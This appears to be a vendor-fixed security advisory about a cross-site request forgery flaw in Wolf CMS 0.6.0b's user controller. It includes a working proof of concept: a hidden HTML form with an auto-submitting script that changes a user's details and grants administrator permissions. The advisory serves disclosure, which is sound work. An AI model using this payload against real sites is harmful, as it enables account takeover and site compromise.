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XSRF (CSRF) in Wolf CMS



Vulnerability ID: HTB22681
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_wolf_cms.html
Product: Wolf CMS
Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) 
Vulnerable Version: 0.6.0b and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "wolf/app/controllers/UserController.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/user/edit/USER_ID"; method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="myemail@xxxxxxxxxxx">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="user[language]" value="en">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version